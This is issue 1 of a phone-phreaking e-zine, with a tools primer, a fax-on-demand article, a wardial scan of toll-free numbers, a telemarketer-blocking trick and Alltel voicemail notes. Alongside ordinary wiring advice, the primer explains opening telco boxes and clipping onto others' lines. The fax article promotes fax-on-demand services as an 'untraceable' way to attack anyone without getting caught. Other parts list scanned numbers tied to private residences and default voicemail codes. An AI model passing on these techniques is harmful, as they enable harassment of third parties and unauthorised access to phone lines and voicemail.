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Phr33k4z0iD Issue 1
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* introduction *
* by: ic0n *
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Back with yet another phreaking zine. I'm going to try to release a issue
at lease once every month. Each issue will include lastest phreaking files
from some of the best phreaks on the planet. Our goal is to provide you
with the latest phreaking infomation on the internet. Feel free to send any
text files attached to an e-mail to ic0n at oldskoolphreak dot com. Where
also going to try to provide you with the latest number useful to any phreak.
Sometime we'll even throw in a few scans. Who knows we might even have a
scan issue sometime in the future. Without further ado i bring to you the 1st
issue ever of Phr33k4z0iD'z.
*note*
All ascii art had to be removed due to a problem we where having hopefully we
will be able to figure out what was going on.
Table Of Content
Tools of the trade................................................Captain_b
Fax on demand.....................................................ic0n
Scan of 1-888-439-03XX............................................Mr Poop
Telemarketers Don't you just hate them............................ic0n
Alltel Quick Reference Guide......................................ic0n
The End of Redboxing..............................................Lucky225
The 752 Wardial Project...........................................NO CARRIER
Caller ID Spoofing with Qwest Security Screen.....................Dual & Rax
Phreaking Your Local EWSD.........................................ls-la
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* Tools of the Trade *
* by Captain B *
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For the entry-level phone phreak, getting to know the names and purposes of some
of the telecom tools and equipment can be a good first step toward becoming a
better phreaker. This file Isn't intended to be an all-inclusive guide to every
last tool and piece of equipment. It's meant to be more of a primer of sorts.
And, mainly the more common tools/equipment will be mentioned here.
*Tool or equipment name/Purpose*
Wire cutters/strippers- If you want to install your own inside phone wire,
you'll nned wire cutters and wire strippers, or a combination wire
cutter/stripper tool. After cutting phone wire to desired length with a wire
cutter tool, use a wire stripper to remove the outer insulation jacket. Next,
use the wire stripper to remove about an inch of insulation off of the small
colored wires. Finally, attach the stripped ends of those wire leads to the
screw terminals inside a phone jack, TNI (Telephone Network Interface) box, or
42A block. Wrap the stripped ends of the wires tightly clockwise around a screw.
Patience and a steady hand are key to doing good phone wire installations. Check
the instructions that came with the tool if you need further instruction. A
variety of wire cutters and strippers are sold at Radio Shack. Possibly other
stores like Home Depot may carry them, too. Just make sure the wire strippers
can strip 24-26 wire gauge. (Which is represented as 24AWG or 26AWG).
Modular crimp tool- With this tool, you'll be able to repair the telephone line
cord that connects between your phone and phone jack, if the phone line cord has
become partially or completely detached from the modular plug connector on
either end of the cord somehow. This tool basically squeezes (crimps) a new
modular plug onto the end of a phone line cord. You can also create your own
custom length phone line cords this way. Certain model modular crimp tools (like
the RCA brand crimp tool, sold at Home Depot) allow the same to be done with
phone handset cords as well. Also, certain model modular crimp tools allow RJ45
(4-line) modular plug connectors to be crimped onto RJ45 phone line cords. (RJ45
Plugs/jacks are a bit wider than 1, 2, or 3 line modular plugs/jacks). 1 or 2
line phones can only be plugged into a 4 line jack via an 8 conductor (RJ45)
plug-to-dual 4 conductor (RJ14) jacks. 1 of the jacks is lines 1/2, the other is
for lines 3/4. Check with the instructions that came with the modular crimp tool
to learn how to use it. Modular crimp tools can be bought at Radio Shack, Home
Depot, and many other places where phones and phone accessories are sold.
Modular line cord plugs- Without some modular line cord plugs to crimp onto line
cords, that shiny new modular crimp tool you bought Isn't too useful. So far,
I've only seen packs of RJ14 (2 line), RJ25 (3 line), and RJ45 (4 line) modular
plugs. They don't seem to come in RJ11 (1 line) modular plugs. But, since all
1-3 line jacks/plugs are compatible, it really doesn't matter. (They'll fit
perfectly). If, however, you're using 4 line phones/phone jacks/line cords,
you'll need to buy a pack of RJ45 modular plugs. And, make sure to buy a modular
crimp tool that crimps 4 line plugs onto 4 line phone cords. Radio Shack sells
packs of RJ45 modular plugs, and 1 of the 2 types of modular crimp tools they
sell crimps RJ45 plugs. (Unfortunately, It's the more expensive of the 2 modular
crimp tools also). And, even though they don't intend it, these line cord plugs
could even be attached to the end of many types of inside phone station wire.
Packs of 2 line modular plugs are the most commonly found at most stores selling
phones/phone accessories. RJ25 (3 line) plugs/phone jacks/line cords ssem to be
more obscure. I've only seen those sold at Radio Shack so far. 4 line RJ45
modular plugs/phone jacks/line cords may also be somewhat harder to find at
places other than Radio Shack.
Modular handset cord plugs- The installation proceedure for these are the same
as for modular line cords. Except, these are for crimping onto phone handset
cords instead. (The handset cord is the cord that connects between the phone
handset, and the rest of the phone). Unless you take a pretty close look, it can
be fairly easy to mistake these for being 2 line (RJ14) modular line cord plugs.
In fact, handset cord plugs are only slightly more narrow than 1, 2, or 3 line
modular line cord plugs. But, although it wouldn't be manufacturer recommended,
I think it may be possible to crimp a handset cord plug onto a phone line cord.
Certainly, I know that 1 and 2 line phone line cords will fit into a handset
cord plug for crimping. And, from experience, I know that phone line cord plugs
can be crimped onto handset cords. A handset cord can be turned into a phone
line cord in this manner. So far, I've only seen packs of handset cord plugs
sold under the RCA brand name at Home Depot. And, the RCA brand modular crimp
tool sold at Home Depot crimps handset cord plugs, according to the back of the
package for the pack of handset cord plugs. You could also check with other
stores selling phones/phone accessories for availibility/prices.
Insulation piercing modular line cord plug- Don't have a modular crimp tool
handy? No problem! Using the concept of insulation piercing, (Sometimes called
insulation displacement) an insulation piercing phone line cord plug attaches to
a modular phone line cord without crimping. First, seperate the insulation
piercing line cord plug into It's upper/lower halves by loosening the screw
contained in the top half. Then, simply strip enough of the outer jacket
insulation off a 1 or 2 line (RJ11 or RJ14) phone line cord. Then, postion the 2
or 4 little wires (usually colored red and green, or red, green, yellow, and
black) into the respectively marked "R", "G", "Y", and "B" wire channel tracks
on the lower half of the insulation piercing line cord plug. No stripping of the
insulation off of the little colored wires is to be done. Just re-attach the top
half of the insulation piercing line cord plug by tightening down the screw on
the top half of the plug, making sure to hold the line cord stationary (so the
little wires from the line cord don't accidently slide out of the wire channel
tracks inside) and, you're done. But, it can actually be more difficult working
with these insulation piercing plugs than standard crimp-on plugs. Besides, you
only get 1 of these insulation piercing line cord plugs for about the same or
more than the cost of a pack of 2 line (RJ14) crimp-on line cord plugs. However,
these insulation piercing plugs fit much better onto Category 3 "patch" cords
than the crimp-on type plug connectors. Even though they don't intend it, these
insulation piercing plugs could even be attached to the end of 1 or 2 line
inside phone station wire. Radio Shack also sells insulation piercing modular
line cord plugs for installation on RJ45 4 line (8 conductor) line cords. (Which
includes Category 5 and Category 5E line cords). If you need further
instruction, check with the instructions on the package. Insulation piercing
line cord plugs can be bought at Radio Shack, Home Depot, and possibly other
stores that sell phones/phone accessories.
Insulation piercing handset cord plugs- Much the same as the insulation piercing
line cord plugs, except for installation on modular handset cords instead. The
installation proceedure is the same as it was for the insulation piercing line
cord plug. But, once again, a pack of crimp-on modular handset cord plug
connectors can be cheaper, and quicker/easier to install. If you need to, you
can check the package for installation instructions. You can find the insulation
piercing handset plug at Radio Shack, Home Depot, and possibly other places
carrying phones/phone accessories.
Alligator clips- To be able to connect a phone to the screw terminals inside
phone jacks, TNI (Telephone Network Interface) boxes, 42A blocks, telco cans,
and some other telecom termination (junction) boxes, you'll need to connect up
using alligator clip connectors. Much like their larger sized counterpart on the
ends of a car battery jumper cable, these alligator clips are intended to clamp
onto the aforementioned connection points, and make an electrical connection. To
do this, simply squeeze open the jaws of the alligator clip, attach to a screw
terminal point, and release the jaws of the alligator clip, thereby allowing the
gator clip to clamp down onto the screw terminal. An alligator clip could also
be used to clamp onto another alligator clip, or the stripped end of a phone
wire lead for the purpose of making an electrical connection. And, since all
phone lines are in pairs of 2 wires each, you'll need at least 2 alligator
clips. For reference sake, the pair of wires for line 1 is usually colored red
and green. (Red is the "ring", or negative. Green is called the "tip", and is
the positive). Line 2 is usually colored yellow and black. Yellow is the ring
wire lead, and black is the tip. But, bear in mind that this wire color scheme
is only for standard phone wire found inside phone jacks, TNI boxes, and 42A
blocks. Category 3, Category 5, and Category 5E (Enhanced Cat 5) has wire color
schemes that are different from standard grade phone wire. Also, the phone wire
the telco (the phone company) uses for all their outside phone wire doesn't use
the red/green, yellow/black color scheme either. Alligator clips come attached
to the cord on a lineman's handset phone. The type of alligator clips on
lineman's handsets are even able to pierce through outer insulation with pins
built into those gator clips. Those gator clips are often ABN (Angled Bed of
Nails). The type bought from Radio Shack don't have these built-in insulation
piercing pins. Now, with modular phone line cords, they need to be modified by
adding alligator clip connectors to them. There are 2 types of alligator clips:
1 type has a small screw terminal for attaching the stripped end of a wire. With
the other type, you have to solder a stripped wire end onto it. I don't think I
recommend using the solder-type alligator clips if your soldering skills are
somewhat poor. Besides, screw-type gator clips clips can be a bit quicker/easier
to work with. But, whether the alligator clips are the solder or screw terminal
type, you should get alligator clips that are fully insulated. (Alligator clips
that are fully insulated come with their own outer insulation sleeves over the
alligator clips themselves). If you decide to use screw type gator clips, you
can buy a 2 line RJ14 modular plug-to-4 spade lugs phone line cord. Sold at
Radio Shack, these type of phone line cords come in 3 lengths: 1Ft, 12Ft, and
25Ft. I'm not sure about the availibility of these modular plug-to-spade lugs
modular phone line cords at places other than Radio Shack. I recommend buying
the 1Ft. cord, but any length is fine. Besides, if you own a modular crimp tool
and have some modular line cord plugs, you can shorten any cord as you so
desire. Remember, only crimp on a new line cord plug on the same end of a
plug-to-spade lugs line cord where the existing modular plug already is. An
insulation piercing line cord plug could also be used instead of the crimp on
type line cord plugs. Now, unless you plan on using a 2 line phone, and
connecting it up to a 2 line phone jack with phone service on both line 1 and 2,
then you can cut off the yellow and black wires on the plug-to-spade lugs cord.
Try to cut off the wires as close to where they come out of the grey outer
insulation jacket as possible. I think the Radio Shack nippy cutters are perfect
for this job. Slide the outer insulation sleeve off of one of the alligator
clips. (This is a bit easier if you have the aligator clip clamp down on some
fairly thick object. That way It'll help keep the alligator clip open, and make
it easier to slide the insulation sleeve off). Even so, don't expect theese
insulation sleeves to slide off super quick and easy. Just take your time, and
gradually slide it off. And, try to keep the alligator clip from sliding off
whatever you have it clamped onto. I prefer to use my bed's comforter blanket.
Being made of cloth, the gator clip won't slide off as easy while working with
it. After you've slid the insulation sleeve off one of the alligator clips, use
a Phillips or flathead screwdriver to loosen the small screw on one of the
alligator clips. Now, carefully and gradually slide the narrower back end of the
insulation sleeve completely over the spade lug end of one of the wires, and on
through the insulation sleeve until the spade lug has come out the front end of
the insulation sleeve. Attach the spade lug underneath the screw head on the
gator clip, and tighten the screw down. Make sure to hold the spade lug in place
between your thumb and finger while tightening the screw, so the spade lug
doesn't move with the screw as you're tightening it. Then, once again, have the
jaws of the alligator clip clamp down on some thick object to fully open up the
gator clip. Gradually and carefully slide the insulation sleeve over the back
end of the alligator clip, but leave some of the front end of the alligator clip
sticking out of the front end of the insulation sleeve. Now, repeat this process
to connect the spade lug end of the other wire to the other alligator clip. Now,
by plugging in the modular plug end this modified line cord with alligator clips
into a phone directly, or into the jack end of a line cord with a built in jack
(known as an extension line cord), or into an in-line coupler (Female-to-female
jack) attached to a line cord, then you can use the alligator clips to connect
that phone to bare screw terminals found inside TNI (Telephone Network
Interface) boxes, telco cans, and other junction points where phone wire is
terminated (connected) to screw terminals. Remember, you only need to use
alligator clips when connecting to screw terminals. Stick to using modular line
cords when you want to connect a phone to a phone jack. Including the "test
jack" found inside TNI boxes. Alligator clips can be bought at Radio Shack, and
probably at other smaller chain electronic stores, such as Active Electronics.
Phone splice and phone tap connectors- These phone connectors are quick and easy
to install, and even weatherproof. So, if you want to install them outdoors, you
can. But, once installed, the connection with these is intended to be a
permanent one. Just bear that in mind before installing them. The only tool
you'll need to install these connectors is pliers. I used needle-nose pliers
myself to install these, but I think most types of pliers will do the job. The
phone splice and tap connectors come in 2 colors/varities: Red is the splice
connectors for splicing 2 ends of a given phone wire together. There are 3 small
holes on the one side of the splice connector. Up to 2 wires can fit in each
hole (6 total) and all wires must be of the same color. (Although, it doesn't
say in the instructions that come with the splice connectors whether you're
supposed to put 2 wires together in one hole. But, even so, I found that when I
put 2 wires in one hole, it worked fine for me). The green phone tap connectors
are used to tap into a given existing phone wire, just as the name implies. To
tap into both the negative (ring) and positive (tip) wires on a phone line
requires 2 of these tap connectors. Since both the splice and tap connectors are
sold in packs of 4 at Radio Shack, this is no problem. With phone tap
connectors, the little "run" wire, is placed into the run channel on the tap
connector. (The run channel is the spot with holes on opposite sides of each
other on the tap connector for running the small "run" wire through. (That's the
wire that'll be tapped into). A 2nd wire of the same color is placed into the
other hole. Tap and splice connectors can be used to splice or tap the inside
phone station wire running to/between phone jacks in your home, the phone wiring
outdoors inside TNI (Telephone Network Interface) boxes, telco cans, and some
other phone wire junction boxes. And also, the phone wire inside modular phone
line and phone handset cords. And remember, the insulation on the little wires
should not be stripped off, regardless on whether you're installing either the
phone splice or phone tap connectors. And also, regardless of which of the
different types phone wire previously mentioned you use it on. The wires
shouldn't be twisted after the connectors have been installed. There's A 3rd
type of splice connector sold that's yellow in color, and meant for wire gauges
in the range of 22-26AWG (As compred to 19-26AWG for the other 2 types of
connectors). Since phone wire is in the 24-26AWG wire gauge range, these can
also be used on all the previously mentioned phone wire. But, these yellow color
splice connectors can't be found in Radio Shack stores. However, Home Depot
sells packs of them, as well as the other 2 types.
Telephone spade lugs- Besides for being able to buy phone line cords with spade
lug connectors attached to the wire ends, you can also add spade lug connectors
to the ends of phone wire for line cords as well as phone station wire (used to
connect to/between phone jacks inside your home) and the wires inside a phone
handset cord. Radio Shack sells packs of telephone spade lugs. To attach them to
the wire leads (wire ends) of a phone line cord, or other phone wire, requires a
crimp tool. Not to be confused with the modular crimp tool, the one used for
this purpose crimps spade lugs or other connectors onto wire leads. Radio Shack
sells a telephone connector crimp tool (Cat no. 64-410), yet I found it not to
be too good for the job. The reason being is that the jaws of that crimp tool
are pretty square-shaped. Since most wires in electronics are usually round, and
since the end of most connectors that get crimped onto wire cables are more or
less rounded in shape, and are intended to be crimped on around a wire lead, the
more square shaped jaws of this phone connector crimp tool didn't really work
right for the purpose. I found that the more rounder crimp jaws built into the 4
in 1 needle nose pliers/crimp tool/wire stripper/wire cutter from Radio Shack
(Cat no. 64-1847) seemed to be more better suited. Even if you don't use that
tool to crimp with, you should try use one that can crimp connectors in the
24-26AWG wire guage, or at least as close as possible. I don't think I recommend
using one that crimps connectors less than 22AWG. But, bear in mind that I mean
the particular part on that given connector crimp tool. Since many crimp tools
usually have various different size jaws on different parts of the same crimp
tool. For example, one part on a given crimp connector tool may crimp
connectors in the 10-16AWG wire gauge range, and another spot on the same crimp
tool may crimp connectors in the 18-22AWG wire gauge range. Crimping spade lugs
or any type connectors onto any type wire ends for that matter, requires some
patience and care to get it right. Slide one of the little phone wires
(Typically red, yellow, green or black in color) bewteen the little insulation
piercing pins on the spade lug connector. Try to hold the spade lug and the wire
in place with one hand, and with the other hand place the crimp tool's jaws over
the pins on the spade lug connector. Now, squeeze the crimp tool handles
together fairly slow, but surely. If you you got it right, the wire will now be
underneath the pins on the phone spade lug connector. It doesn't have to be
absolutely perfect for the spade lug to be able to make the proper electrical
connection when used. If you didn't get it right, don't worry. It can be fairly
tricky work when crimping these connectors. But, as long as you have more spade
lugs and wire, you can always try again. Although Radio Shack is the only place
I know of for certain that carries these spade lug connectors, you could try a
smaller independent chain electronic store. Like Active Electronics, for
example.
Lineman's handset- Phone company lineman test lines by connecting up to a phone
line with a lineman's handset. There's a few models of Harris brand lineman's
handset's availible at Home Depot, and you can also find more on the following
websites: Harris' website at
http://www.networksupport.harris.com/products/tools/POTS.asp
-And on Jensen Tools' website at:
http://www.jensentools.com/product/category.asp?parent_id=425
- Jensen Tools contact info is as follows:
Jensen Tools - 7815 South 46th St. Phoenix, AZ 85044-5399
Phone-(602)453-3169 or (800)426-1194 Fax-(602)438-1690 or (800)366-9662.
Another alternative is to type the words "Lineman handset" in a Google
search. Although useful, there's not much in the way of features exclusive
to lineman's handsets that you can't get in many standard phones. The alligator
clips with their ABN (Angle Bed of Nails) insulation piercing pins on them can
be one useful thing. And, the ability to do a line monitor can be another pretty
good one. (Monitoring the line means listening to the line when the phone is
hung up, or "on hook"). For example, by line monitoring, you can hear caller ID
transmissions between the CO (Central Office) and CPE (Customer Premise Equipmet.
In other words, the customer's caller ID equipment) that come in between the
first and 2nd rings on an incoming call. But, besides for lineman's handsets,
there's 2 other ways to go on this.
The first, and most simple, is to buy what I call a one piece phone.
(I call it "one piece", because there's no seperate handset and base unit).
It's all in one nice, compact design. Which is definitely helpful when field phreaking.
(Phreaking outdoors somewhere). I always try to take space and ease of portability into
consideration for much of the telecom equipment I take with me when field phreaking.
Now, the things is, there just Isn't many one piece phones on the market. There's the Apollo
flip phone (Sold in your choice of 3 colors) which lat I checked was still being sold at Radio Shack.
The Super Mini Flip phone from Radio Shack was unbelievably small and lightweight, and even came
with a headphone jack. Sadly, these seem to have been discontinued now. But, if you're lucky, maybe
a Radio Shack somewhere near you may still have one. Umm... I think the price was down to about
5 or 6 bucks last I seen. And, there's 2 models of c0nAir phones made that are one piece phones.
The SW114 sold at K Mart (if they're still in business in your area by the time you read this) and the
SW112 flip phone also sold at K mart. I suspect that they may have discontinued the SW112 model,
as I now no longer see it in my local K mart store anymore. Anyway, the 2nd method of a placebo for
a lineman's handset involves modifying a modular phone handset cord to allow a standard home
phone that has a keypad built into the handset to be connected to phone jacks and screw terminals.
Refer to my Conversion Box file at the following web page to learn how to build this:
http://www.hackerhost.com/lph/conversion.txt
There may also be other web sites where it can be found, too. Go to
http://www.google.com and type in "Captain B text" in the search to locate all sites currently hosting my
files. The Wireless Beige Box file of mine might also be of interest to you, if you'd like to use a cordless
phone in place of a lineman's handset to beige box with. Check the following web page:
http://www.hackerhost.com/lph/wireless.txt -
Or, use the Google search method mentioned above to find that file of mine if you're
interested. For all my files on hackerhost.com/lph, visit
http://www.hackerhost.com/lph/index2.html and click on "text philes".
Can wrench- This is the tool that's used by phone company linemen to open TNI
(Telephone Network Inteface) boxes and Telco cans. It's nothing more than a
double sided, hex nutdriver. One side is for TNI boxes using a 3/8" hex nut, and
the other for Telco cans using a 7/16" nut. These can wrenches are pretty hard
to come by. I think I remember phreakstore.com carrying these, as well as
crystals to mod tone dialers into red boxes with, and other good stuff, but
phreakstore no longer exisits. But, you can also find can wrenches on Jensen
Tools website at http://www.jensentools.com/product/category.asp?parent_id=405 -
The combination can wrench is the better of the 2 on there, since there's also
an optional security hex driver add-on for it to remove the bottom panel, and
other parts off the enclosure on pay phones. Or, go to Google.com and type in
the words "can wrench" for more. There's also another way to remove those hex
nuts on TNI boxes and telco cans. Go to Home Depot and buy either a 1/4" drive
ratchet, or spinner handle. Actually, I recommend getting both, since the extra
torq (pressure) ability of the ratchet helps when using it with the 7/16" hex
nut socket for use on telco cans. But, the spinner handle (which looks much like
a screw driver) with It's long shaft, fits perfectly down into the TNI box's
"Telco access only" slot which has the 3/8" nut. Another way to do it is use a
3/8" hex deep socket bit with a 1/4" drive ratchet to make it fit all the way
down into the telco access only slot. With some newer model TNI boxes, the 3/8"
nut is easier to get to, and doesn't require the long shaft of the spinner
handle, or a deep 3/8" hex deep socket bit used with a ratchet. And, just to
make mention, these are called hex sockets, and the nuts are called hex nuts
because that's their shape. 6 equal sides, forming a hexagon shape. Anyway, in
the case of telco cans, you may find ones that are padlocked. In which case,
you're out of luck unless you have a bolt cutter to cut the padlock off. Which,
I don't recommend doing anyway, since you DEFINITELY want to leave ALL phone
company equipment the way you found it after you done with it. So certainly,
make sure to close up all telco cans and TNI boxes when done. And, on a side
note, even if you don't buy a 3/8 hex socket for your 1/4 drive ratchet or
spinner handle, It's still possible to open up the customer access side of a TNI
box with a standard phillips or flat head screw driver. Just as long as there's
no padlock on the TNI box, you can do this.
Phone line tester- If you want to test phone jacks and cords for correct
polarity, continuity, (opens) which simply put means whether you have electrical
voltage/current present or not on your phone line depending on whether there's a
broken wire connection somewhere, or perhaps a short, or something like that,
then you'll need to use a line tester. There's 2 types of these sold at Radio
Shack. One simply is plugged into any phone jack in your home, or even into the
test jack inside a TNI box. The other line tester tests phone jacks in your
home, and also modular phone handset cords and phone line cords for the same
possible faults. In fact, it even tests standard RG6 type 75 Ohm coaxial cables
for faults, too. (This type of coaxial, or "co-ax" cable is commonly used by
cable companies for running cable service over, and is also used to connect VCRs
and other video equipment to TV sets). Now, the ability to check coax cables for
problems is fine, by I bought that test in particular becuase of the ability to
test all those phone related things I mentioned. It's more expensive to buy that
full featured tester (I think it cost about $17 last I checked) but, considering
you can do more with it, it can be worth it. Home Depot also sells a few line
testers under the Ideal brand name. These testers connect up just like in-line
couplers connected between 2 lengths of phone line cord. I point this out since
the standard line tester from Radio Shack (for about $5) simply sonnects into a
phone jack only, not on a line cord like this type. Also, since different line
testers vary, some will have more LED lights than that light up to show you
faults than others. For example, the standard line tester has seperate lights
for lines 1 and 2 individually that will either light up green to indicate
correct polarity, red for reverse (wrong) polarity, or it simply wont light at
all if there's a short or open on that phone line. The more full-featured only
tests line 1 on phone jacks. If you want to test line 2's wiring for problems,
you'll need to use Radio Shack's 2 line, 3 way splitter. Simply plug the
splitter into the phone jack, and run a line cord between the middle jack on the
splitter to the tester. This also shows that different line testers don't always
test the same number of lines. Ideal brand manufactures line testers in 2, 3,
and 4 line testers. Remember, a 1, 2 or 3 line tester won't fit with the phone
jacks/plugs of 4 line phone equipment. Nor will 4 line testers fit with 1, 2 or
3 line phone jacks/plugs. Also, some testers will have a LED light for shorts
and opens, others may not. In which case, if no LED lights light up, there could
be either a short or an open condition. In other words, depending on how full
featured or not your tester is, you may still have to figure out whether there's
a short or open on your phone line or phone cords.
Tone generator and inductive line tracer probe- Of everything mentioned in this
file, this is the one that would not be very likely to be used by your average
Joe Phreaker. Now, although the tone generator and inductive tracer probe can be
bought seperately at Home Depot, these 2 pieces of telecom equipment are meant
to be used together. Phone linemen use these for locating a specific phone wire
pair amongst many. This is particularly useful inside telco cans, and other
telco junction box equipment. The tone generator is connected to a phone line
either via a modular line cord and plug into a phone jack, or via alligator
clips. Once connected and turned on, it puts out either a steady or pulsating
beep tone. At some point further "downstream" on the same phone line, (like
inside the nearest telco can for example) the inductive probe is touched to the
insulation on a wire in the proper wire pair, and the signal is picked up and
heard through the probe. Another method of doing this is to have something that
produces a continuous source of sound connected up to a phone line, and connect
up a lineman's handset or one piece phone with alligator clips somewhere
downstream on that same phone line. Although the technique is essentially the
same, the advantage of the inductive line tracer probe as compared to the other
method is that you wont actually need to physically connect up any gator clips,
or line cords to the line to hear the signal. Also, unlike the other method, I
believe the tone generator can even been run over a dead, disconnected line.
Using a tone generator and probe, or the other method I mentioned, you could
locate your line in any phone company telco can or other type telecom junction
box. Harris makes these tone generators and inductive probes. So, there may be
more info somewhere on Harris' website at www.harris.com.
*****************************************
* Fax On Demand *
* by: ic0n *
*****************************************
Fax on demand is a system used by a lot of large corporations.
Fax on demand only offers one feature, which is sending
documents via fax machine. The cool part is that you can input
any telephone number in North America and that's where it will
be sent. I also should add that it's untraceable so that means
you can attack whomever you want whenever you want and not have
to worry about getting busted.
When you dial into the fax on demand system, 90 percent of the
time they will say something like this...
'You have reached blank corporation's fax on demand system'
Pretty easy to indentify, huh?
The other 10 percent will have one option to transfer you to
the fax on demand system.
They'll give you a few opintons to choose from. Each company
has theirs setup differently, but here's an idea of how
they're setup.
Note: One system is actually setup this way.
1: To get index of documents sent to you
- Enter the fax number followed by the # key
- Repeats number entered
- If the number is correct press 1
- To re-enter the number press 2
2: To get documents sent to you
- You may order up to 3-5 documents by entering your
1st section now...
Depending on how large the company is and how many documents
they offer will affect how long the document numbers will be.
I've seen everything from one to five digits long.
9: To end the call
Like I said earlier in this article each system is setup
differently. Some have more features than others but
nonetheless they're pretty much the same.
Another side note if for some reason when fax on demand calls
and the line is busy it will call the party three more times.
Some systems will call three times with 15 min. intervals. Or
the system will call three times within that 15 min's.
As an extra bonus I'll include some numbers for your
phreak enjoyment!!!!
1-877-851-7443
1-800-446-6212 analog fax
1-800-909-0263 3m
1-800-909-0264 kinko's
*****************************************
* Scan of 1-888-439-03XX *
* Scanned 03/24/2003 By:Mr. Poop *
*****************************************
00: Not in service
01: Pager
02: Pager
03: Pager
04: Pager
05: Not in service
06: Pager
07: Pager
08: Pager
09: Not in service
10: Pager
11: Pager
12: Nationwide Messaging
13: Not in service
14: Pager
15: Not in service
16: Pager
17: Pager
18: Not in service
19: Cannot be completed as dialed... Please check the number and dial again
20: Cannot be completed as dialed... Please check the number and dial again
21: Cannot be completed as dialed... Please check the number and dial again
22: Cannot be completed as dialed... Please check the number and dial again
23: Cannot be completed as dialed... Please check the number and dial again
24: Cannot be completed as dialed... Please check the number and dial again
25: Cannot be completed as dialed... Please check the number and dial again
26: Cannot be completed as dialed... Please check the number and dial again
27: Cannot be completed as dialed... Please check the number and dial again
28: Cannot be completed as dialed... Please check the number and dial again
29: Cannot be completed as dialed... Please check the number and dial again
30: Cannot be completed as dialed... Please check the number and dial again
31: Cannot be completed as dialed... Please check the number and dial again
32: Parson's residence
33: Cannot be completed as dialed... Please check the number and dial again
34: Cannot be completed as dialed... Please check the number and dial again
35: Jim Cock?
36: Disconnected or no longer in service
37: Cannot be completed as dialed... Please check the number and dial again
38: Bluesant? order line
39: Fast busy signal
40: Cannot be completed as dialed... Please check the number and dial again
41: Cannot be completed as dialed... Please check the number and dial again
42: Cannot be completed as dialed... Please check the number and dial again
43: Cannot be completed as dialed... Please check the number and dial again
44: Cannot be completed as dialed... Please check the number and dial again
45: Cannot be completed as dialed... Please check the number and dial again
46: Cannot be completed as dialed... Please check the number and dial again
47: Cannot be completed as dialed... Please check the number and dial again
48: Cannot be completed as dialed... Please check the number and dial again
49: Cannot be completed as dialed... Please check the number and dial again
50: Jerry's Restraunt?
51: Cannot be completed as dialed... Please check the number and dial again
52: Cannot be completed as dialed... Please check the number and dial again
53: Cannot be completed as dialed... Please check the number and dial again
54: Cannot be completed as dialed... Please check the number and dial again
55: Cannot be completed as dialed... Please check the number and dial again
56: Forest Mack?
57: Cannot be reached from your calling area
58: Cannot be completed as dialed... Please check the number and dial again
59: Cannot be completed as dialed... Please check the number and dial again
60: Disconnected or no longer in service
61: Cannot be completed as dialed... Please check the number and dial again
62: MCI Worldcom Paging. Enter the pin number you wish.
63: Cannot be completed as dialed... Please check the number and dial again
64: Cannot be completed as dialed... Please check the number and dial again
65: Cannot be completed as dialed... Please check the number and dial again
66: Cannot be completed as dialed... Please check the number and dial again
67: Cannot be completed as dialed... Please check the number and dial again
68: Cannot be completed as dialed... Please check the number and dial again
69: Cannot be completed as dialed... Please check the number and dial again
70: Cannot be completed as dialed... Please check the number and dial again
71: Cannot be completed as dialed... Please check the number and dial again
72: Modem/carrier
73: Plasma Center?
74: VMB
75: River Oaks
76: Cannot be completed as dialed... Please check the number and dial again
77: Cannot be completed as dialed... Please check the number and dial again
78: Cannot be completed as dialed... Please check the number and dial again
79: Cannot be completed as dialed... Please check the number and dial again
80: Cannot be completed as dialed... Please check the number and dial again
81: Some office (VMB)
82: Preserve at Creek Side
83: Cannot be completed as dialed... Please check the number and dial again
84: Cannot be completed as dialed... Please check the number and dial again
85: Frontier Flex 800
86: Cannot be completed as dialed... Please check the number and dial again
87: Wells Fargo
88: Disconnected or is no longer in service
89: Cannot be completed as dialed... Please check the number and dial again
90: Cannot be completed as dialed... Please check the number and dial again
91: Cannot be completed as dialed... Please check the number and dial again
92: Some guy's personal office
93: Cannot be completed as dialed... Please check the number and dial again
94: Cannot be completed as dialed... Please check the number and dial again
95: Cannot be completed as dialed... Please check the number and dial again
96: Cannot be completed as dialed... Please check the number and dial again
97: Cannot be completed as dialed... Please check the number and dial again
98: Cannot be completed as dialed... Please check the number and dial again
99: Cannot be completed as dialed... Please check the number and dial again
*****************************************
* Telemarketers Don't you just hate them*
*by ic0n e-mail:ic0n@oldskoolphreak.com*
*****************************************
I really hate telemarketers they always calling at the worst times. I've
kind of lost my humor over the last few years so I don't even give them a
hard time anymore. When I did give them a hard time I used to tell them
whom ever they asked for was dead or something similar to that.
Well anyways I have an unlisted telephone number and I used to get at
lease 20 calls a few from telemarketers. I really did not have the money
to buy a telezapper and I had what was rumored to be the tone the
telezapper played but I never could get it to work. So at that time I
decided to do some research to see if there was any information out
there. I really did not find much info out there but I found decent
amount of information.
Telemarketers use software on there computer system. I sure you could
find it on the net somewhere. It's called 'Predictive Dialer' What the
program does is similar to what a wardialer does only it makes a list of
valid numbers and invalid numbers. There's a hole in the program and you
can use there technology against them.
When telemarketers call there's a short silence before a
operator/salesperson comes on the line. If you answer the phone and say
anything when they call they will add your number to the valid list. If
the software detects a fax machine it will attempt to send you a fax
selling crap. They will add your number to a fax list. To make matters
ever worse they sell there valid list to other telemarketing company's.
There 3 tones that the software looks for. 985.2,1370.6,1776.7 htz.
If it detects these tones the software where think that your line is a invalid
number. If you've ever called a disconnected or invalid number you've heard
these tones before.
All your going to need is a answering machine that will allow you to
change the out going greeting/message or have voicemail. Once you download
the tone or create one yourself with a tone generator program.
Record the tone onto your answering machine or voicemail greeting. Play
the tone wait a few seconds then finish with your basic message.
Here's an example.
<tone> Wait 5 seconds then you have reached 313-373-1337 leave a message
after the beep.
When the software detects the 3 tones it will take your number and add
it to the invalid number list. When they do this they won't sell your number
to other telemarketers. So doing this will stop about 90% of your telemarketers.
This will not prevent all telemarketers from calling but after only 2 days
I noticed a great drop in calls from them. On a final note this is FCC approved
and is perfectly legal.
At this time you can download the Sit tone from The telco-insiders website at
http://telco-inside.spunge.org/
here's a direct link to the file.
http://telco-inside.spunge.org/telezapper.wav
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* Alltel Quick Reference Guide *
*by ic0n email ic0n@oldskoolphreak.com*
*****************************************
Quick Reference for custom calling features.
This Quick Reference card from Alltel includes simple
instructions for using your voicemail. Custom calling
options and oter services from Alltel for additional
help dial *611 from your alltel wireless fone. An
Alltel customer services representative will be happy
to assist you at any time.
Voicemail --------- To setup or reactivate
1. Press *p snd (send)
2. Press the # key when you hear the message.
3. key in 6245 (mail) if this code does not work try 9999.
If you cannot get into your mailbox you will have to call
customer services who may have to reset the box.
4. Follow voice promit instructions you will be asked to
setup your own 4 to 10 digit passcode.Record your name,
Record your own personal greeting.
